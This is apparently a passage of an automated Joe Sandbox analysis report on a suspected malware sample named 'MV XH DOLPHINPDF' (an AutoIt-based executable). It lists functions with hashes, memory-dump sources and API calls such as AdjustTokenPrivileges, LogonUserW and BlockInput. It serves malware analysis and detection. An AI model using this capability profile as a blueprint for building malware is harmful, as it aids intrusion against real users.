Opcode Fuzzy Hash: 4bbac396eb183ee494e08532bc52c1dee6b117dfb1937aa051c2c8617df463f4
Instruction Fuzzy Hash: 97F04F7591130CBFDF04DFF0DC89AAEB7BDEF08201F104469A501E2581D6746A448B50

Function 0008E060 Relevance: 3.5, APIs: 2, Instructions: 539COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d79737006b5c22013d1cecfe3db754633909a3fcc75aaa5f6212f3f379e71b66
Instruction ID: 21917fc6644223daac8e90173040b0f43426c10f83228b6351897341a1fd7d42
Opcode Fuzzy Hash: d79737006b5c22013d1cecfe3db754633909a3fcc75aaa5f6212f3f379e71b66
Instruction Fuzzy Hash: DF22AF74A00256CFDB24EF54C484BAEBBF0FF09310F148569E896AB352E774AD85CB91

Function 000EC93C Relevance: 3.1, APIs: 2, Instructions: 52fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 000EC966
FindClose.KERNEL32(00000000), ref: 000EC996

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: ca5ba3d41d74b1563f1887f85fa14ce1056790a2e12a71e06413b3ad927e413d
Instruction ID: c23cacb3a9da3e08b7567df76ddf24a7a031f6ffdff6153e3885208cd454a716
Opcode Fuzzy Hash: ca5ba3d41d74b1563f1887f85fa14ce1056790a2e12a71e06413b3ad927e413d
Instruction Fuzzy Hash: 691165716106009FD710EF69D84596AF7E5FF84324F04851EF9E6D7692DB70AC01CB91

Function 000EA2D5 Relevance: 3.0, APIs: 2, Instructions: 31windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,?,00000FFF,00000000,00000016,?,000F977D,?,0010FB84,?), ref: 000EA302
FormatMessageW.KERNEL32(00001000,00000000,000000FF,00000000,?,00000FFF,00000000,00000016,?,000F977D,?,0010FB84,?), ref: 000EA314

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: 86088ad6a9739226facdfe343a8678757871e950ea80c01684368e76a3b4884f
Instruction ID: 93568af744f97a2ae400d6f0fdaf55daf9bc55757d5cdc24eb444cd7d5f4e047
Opcode Fuzzy Hash: 86088ad6a9739226facdfe343a8678757871e950ea80c01684368e76a3b4884f
Instruction Fuzzy Hash: A0F0823564522DABDB20AFA4CC49FEA776DBF09761F00416AB948D6181DA70AA40CBA1

Function 000D8713 Relevance: 3.0, APIs: 2, Instructions: 22COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,000D8851), ref: 000D8728
CloseHandle.KERNEL32(?,?,000D8851), ref: 000D873A

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: AdjustCloseHandlePrivilegesToken
String ID:
API String ID: 81990902-0
Opcode ID: 12c5b661f918f5dd2ecf07a8022b2f0c6e6e6788257077e67b2477bd7e0e5d18
Instruction ID: b55e74017dc508040170e0da91163c1f1417149fd9b1c90fa1a01b35c2cfeacf
Opcode Fuzzy Hash: 12c5b661f918f5dd2ecf07a8022b2f0c6e6e6788257077e67b2477bd7e0e5d18
Instruction Fuzzy Hash: 9EE0BF75014610EEE7352B60EC09DB777E9EB04750B15842DB4A680871DBA19CD1DB10

Function 000AA395 Relevance: 3.0, APIs: 2, Instructions: 8COMMONLIBRARYCODE

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000,?,000A8F97,?,?,?,00000001), ref: 000AA39A
UnhandledExceptionFilter.KERNEL32(?,?,?,00000001), ref: 000AA3A3

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 325f6015dc256b86d5b1764750cce14b093d20df1d59d4536f81993a15f2a0a6
Instruction ID: 02ee3e7ea101aa7193875ae1f8aa4a8d0e0280bf4c6b7d75f2eeb1e76a70a07b
Opcode Fuzzy Hash: 325f6015dc256b86d5b1764750cce14b093d20df1d59d4536f81993a15f2a0a6
Instruction Fuzzy Hash: 3FB09231058208ABCA102B91EC0AB883F68FB45AB2F404024F64D88C60CBA25492CA91

Function 000AF419 Relevance: 2.1, APIs: 1, Instructions: 645COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 62ce691c7e0b33d9963ff3a6138183d0921c50eaa5e66b26b513c94da46f80d0
Instruction ID: 8f1f96d0382c84a685583389ae9b3ca578c3dd65e6a3ceb8f85bf24a5f96d598
Opcode Fuzzy Hash: 62ce691c7e0b33d9963ff3a6138183d0921c50eaa5e66b26b513c94da46f80d0
Instruction Fuzzy Hash: 79323222D69F024DD7279674D932376A299AFB73D4F14D737E81AB5EA6EB28C4C30100

Function 000B267E Relevance: 1.8, APIs: 1, Instructions: 294COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f85625425f2c99cc4a6656c267597f423c14c8b15ba0f92e9bf3e5e00ff0da2
Instruction ID: 0f6bcf0e6eb03a0020e4307a72f9cfcf588d1c7073c6430edbe25e5bb1b59b20
Opcode Fuzzy Hash: 8f85625425f2c99cc4a6656c267597f423c14c8b15ba0f92e9bf3e5e00ff0da2
Instruction Fuzzy Hash: D2B1ED20E2AF514DD22396398935336BA5CBFBB2D5F92D71BFC2674D22EB2185C34141

Function 000E8B13 Relevance: 1.6, APIs: 1, Instructions: 68COMMON

Download Yara Rule

APIs

__time64.LIBCMT ref: 000E8B25

Part of subcall function 000A543A: GetSystemTimeAsFileTime.KERNEL32(00000000,?,?,?,000E91F8,00000000,?,?,?,?,000E93A9,00000000,?), ref: 000A5443
Part of subcall function 000A543A: __aulldiv.LIBCMT ref: 000A5463

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: Time$FileSystem__aulldiv__time64
String ID:
API String ID: 2893107130-0
Opcode ID: 6d71da7843feaf50fe094a913c8abd15aafa81f88acefc72670847c2c30092f0
Instruction ID: 0d85809731ee521e24dbecd7688f71045c01386f4e210372a8a12141e234cb41
Opcode Fuzzy Hash: 6d71da7843feaf50fe094a913c8abd15aafa81f88acefc72670847c2c30092f0
Instruction Fuzzy Hash: 8A21D2766256108FC329CF25D841A52B3E1EBA5321B288E6CD0E9CF2E0CB74B945CB94

Function 000F41FD Relevance: 1.5, APIs: 1, Instructions: 25keyboardCOMMON

Download Yara Rule

APIs

BlockInput.USER32(00000001), ref: 000F4218

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: BlockInput
String ID:
API String ID: 3456056419-0
Opcode ID: c1059b3a9aa745e463764fcfa45b0485c15b0aa1dd023f0565f3d8e0158799b3
Instruction ID: 9dba01c7a05d13af81805e6bfa081b04bf43913155b2ddb5ec642f16cad4ce90
Opcode Fuzzy Hash: c1059b3a9aa745e463764fcfa45b0485c15b0aa1dd023f0565f3d8e0158799b3
Instruction Fuzzy Hash: 92E048312401145FC750FF59D845AABF7D8BF94760F048025FD49C7752DA71E841CB91

Function 000E4EC9 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

mouse_event.USER32(00000002,00000000,00000000,00000000,00000000), ref: 000E4EEC

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: mouse_event
String ID:
API String ID: 2434400541-0
Opcode ID: 1569eb4a2542a9897642f627ff6f7422f943679be1d130707ed571ae3ad37c9a
Instruction ID: 8e2713f7fed8ae594836ac9f3351ecd7ad029f9d030695ee454e7f3b99be5e44
Opcode Fuzzy Hash: 1569eb4a2542a9897642f627ff6f7422f943679be1d130707ed571ae3ad37c9a
Instruction Fuzzy Hash: 72D05E981607843DECA84B239C5FF7B0248F301781FD0414AB102B97C2D8D06C515030

Function 000D8C93 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

LogonUserW.ADVAPI32(?,00000001,?,?,00000000,000D88D1), ref: 000D8CB3

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: LogonUser
String ID:
API String ID: 1244722697-0
Opcode ID: 9cb19f18849cf9188826cd896563eae3150c26cf6ddc1c903b9a56c2437f5fba
Instruction ID: 6ee4c96c08b38358865e6127fbdb4d5a76a1c9ef565a5113d3e91ed37cc15026
Opcode Fuzzy Hash: 9cb19f18849cf9188826cd896563eae3150c26cf6ddc1c903b9a56c2437f5fba
Instruction Fuzzy Hash: 71D05E3226050EABEF018EA4DC06EAF3B6AEB04B01F408111FE15C54A1C7B5D835AB60

Function 000C2230 Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(?,?), ref: 000C2242

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: d5ca8065a4f3dca0e7fd111367b8461d7cb8388fe927a441d3b02b9bc52c39ca
Instruction ID: bc249b581ee75117ea36be636835f7fb0255c3e02cc0c48cdfe5695fbb3bc32b
Opcode Fuzzy Hash: d5ca8065a4f3dca0e7fd111367b8461d7cb8388fe927a441d3b02b9bc52c39ca
Instruction Fuzzy Hash: E9C04CF1C00109DBDB15DB90DA88DEE77BCBB04304F104059A141F2501D7749B449E71

Function 000AA364 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(?), ref: 000AA36A

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 13ad303dc496149c957fb6010b5ea384c6be51f78d5666bc59f25bd075e8777f
Instruction ID: c1fb6988cf38b53d08d02a2cd3c6bcf7de81a83637f51cadd22177b7997198e8
Opcode Fuzzy Hash: 13ad303dc496149c957fb6010b5ea384c6be51f78d5666bc59f25bd075e8777f
Instruction Fuzzy Hash: 14A0123000410CA7CA001B41EC054447F5CE7001A07004020F40C44821877254518580

Function 00098A0E Relevance: .6, Instructions: 608COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 78ceead8e9c8c560f68cae637345e0df0aa247f8378853db7bf0d7d2928c58cb
Instruction ID: 1f906a1d85ff15a0edc87effee096facb55428cd9ba744602062ce31f0007a6b
Opcode Fuzzy Hash: 78ceead8e9c8c560f68cae637345e0df0aa247f8378853db7bf0d7d2928c58cb
Instruction Fuzzy Hash: 4E2205B0605716CBDF788B28C89467D77E1EB02305F68C86BD8869B791DB34DD81EB60

Function 000A2405 Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf6ffcbe3773841c348058a39a16573d3b2338b254e5945c46ce03dce2746f28
Instruction ID: 367b4d9bacd4340d0e688d0849f1f36d6d235351b53b21bab6b7c5432ebf2b4d
Opcode Fuzzy Hash: bf6ffcbe3773841c348058a39a16573d3b2338b254e5945c46ce03dce2746f28
Instruction Fuzzy Hash: FAC181322051A309DFAD86BD943417EBAE15BA37B131A077DE8B3CB5C4EF20D564E620

Function 000A283A Relevance: .3, Instructions: 341COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a635e2a33a60bcf8d734eac2a911e111534612f0cd64c6a362f1e57f4f360174
Instruction ID: dcdd91986fdf91e0fb196c511378c499e52c25ea514aac1a22b8cf1431e9a633
Opcode Fuzzy Hash: a635e2a33a60bcf8d734eac2a911e111534612f0cd64c6a362f1e57f4f360174
Instruction Fuzzy Hash: 5DC191322051A30ADFAD46BE943407EBBE15BA37B131A077DE4B2DB5D4EF20D524E620

Function 01DD3650 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1990535950.0000000001DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1dd0000_MV XH DOLPHINPDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 424b499c86482d5e2cad33d2eb2b77d7085f14ac4781241b47b3debc7e1ef18c
Instruction ID: 142d5c753014547f5e9103984b8cb4e3087f5fc944d85c73c8c36849007fa171
Opcode Fuzzy Hash: 424b499c86482d5e2cad33d2eb2b77d7085f14ac4781241b47b3debc7e1ef18c
Instruction Fuzzy Hash: 9841D5B1D1051CEBCF48CFADC991AEEBBF1AF88201F548299D516AB345D730AB41DB40

Function 01DD3540 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1990535950.0000000001DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1dd0000_MV XH DOLPHINPDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2824983519b781728331ca74e43d8f1b114060d413125894b627f2317d3cf6f3
Instruction ID: 3f8534cb7ac02391ce33119338e0c86bb083e816ebfee183b946236782430d08
Opcode Fuzzy Hash: 2824983519b781728331ca74e43d8f1b114060d413125894b627f2317d3cf6f3
Instruction Fuzzy Hash: 410192B8A01109EFCB44DF98C5909AEF7B5FB48310F608599D909A7701D731AE51DB91

Function 01DD34E0 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1990535950.0000000001DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1dd0000_MV XH DOLPHINPDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6091d3ab8c142cd01bdaf95ad615aaddba634de501579065cef803e1d5150a63
Instruction ID: 140380abe426fbd922370cdcf3cde050b7c085613d8ce507fb41c2dbed141674
Opcode Fuzzy Hash: 6091d3ab8c142cd01bdaf95ad615aaddba634de501579065cef803e1d5150a63
Instruction Fuzzy Hash: CF019278A00109EFCB48DF98D5909AEF7B5FB48310F608599D809A7701D731EE41DB81

Function 01DD1ED0 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1990535950.0000000001DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1dd0000_MV XH DOLPHINPDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e1f80ac41b4fc2d45690e214ca5193b9bf4f67450f61a2a701b7f1fb86cd8f4e
Instruction ID: 2052e7d0eb43af8a57a5c2d707c06396f1b84aee57587abda472ed480d51124b
Opcode Fuzzy Hash: e1f80ac41b4fc2d45690e214ca5193b9bf4f67450f61a2a701b7f1fb86cd8f4e
Instruction Fuzzy Hash: 1AB012310527488BC2118B89E008B1073ECA308E04F1000B0D40C07B01827874008D48

Function 000F7B1B Relevance: 77.5, APIs: 40, Strings: 4, Instructions: 491filecommemoryCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 000F7B70
DeleteObject.GDI32(00000000), ref: 000F7B82
DestroyWindow.USER32 ref: 000F7B90
GetDesktopWindow.USER32 ref: 000F7BAA
GetWindowRect.USER32(00000000), ref: 000F7BB1
SetRect.USER32(?,00000000,00000000,000001F4,00000190), ref: 000F7CF2
AdjustWindowRectEx.USER32(?,88C00000,00000000,00000002), ref: 000F7D02
CreateWindowExW.USER32(00000002,AutoIt v3,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 000F7D4A
GetClientRect.USER32(00000000,?), ref: 000F7D56
CreateWindowExW.USER32(00000000,static,00000000,5000000E,00000000,00000000,?,?,00000000,00000000,00000000), ref: 000F7D90
CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 000F7DB2
GetFileSize.KERNEL32(00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 000F7DC5
GlobalAlloc.KERNEL32(00000002,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 000F7DD0
GlobalLock.KERNEL32(00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 000F7DD9
ReadFile.KERNEL32(00000000,00000000,00000000,00000190,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 000F7DE8
GlobalUnlock.KERNEL32(00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 000F7DF1
CloseHandle.KERNEL32(00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 000F7DF8
GlobalFree.KERNEL32(00000000), ref: 000F7E03
CreateStreamOnHGlobal.OLE32(00000000,00000001,88C00000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 000F7E15
OleLoadPicture.OLEAUT32(88C00000,00000000,00000000,00112CAC,00000000), ref: 000F7E2B
GlobalFree.KERNEL32(00000000), ref: 000F7E3B
CopyImage.USER32(000001F4,00000000,00000000,00000000,00002000), ref: 000F7E61
SendMessageW.USER32(?,00000172,00000000,000001F4), ref: 000F7E80
SetWindowPos.USER32(?,00000000,00000000,00000000,?,?,00000020,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 000F7EA2
ShowWindow.USER32(00000004,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 000F808F

Strings

AutoIt v3, xrefs: 000F7D42
, xrefs: 000F8015
static, xrefs: 000F7D8A, 000F7EE1
DISPLAY, xrefs: 000F7EF2

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

